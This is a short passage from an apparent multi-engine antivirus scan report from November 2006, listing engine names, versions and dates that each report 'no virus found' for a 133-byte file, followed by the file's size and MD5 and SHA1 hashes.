F-Prot4 | 4.2.1.29 | 11.07.2006 | no virus found |
Ikarus | 0.2.65.0 | 11.07.2006 | no virus found |
Kaspersky | 4.0.2.24 | 11.08.2006 | no virus found |
McAfee | 4890 | 11.07.2006 | no virus found |
Microsoft | 1.1609 | 11.08.2006 | no virus found |
NOD32v2 | 1.1858 | 11.07.2006 | no virus found |
Norman | 5.80.02 | 11.07.2006 | no virus found |
Panda | 9.0.0.4 | 11.07.2006 | no virus found |
Sophos | 4.11.0 | 11.07.2006 | no virus found |
TheHacker | 6.0.1.114 | 11.08.2006 | no virus found |
UNA | 1.83 | 11.07.2006 | no virus found |
VBA32 | 3.11.1 | 11.07.2006 | no virus found |
VirusBuster | 4.3.15:9 | 11.07.2006 | no virus found |
Additional Information |
File size: 133 bytes |
MD5: a6d732dd4b460000151a5f3cb448a4be |
SHA1: 3bdd0363204f3db7d0e15af2a64081ce04e57533 |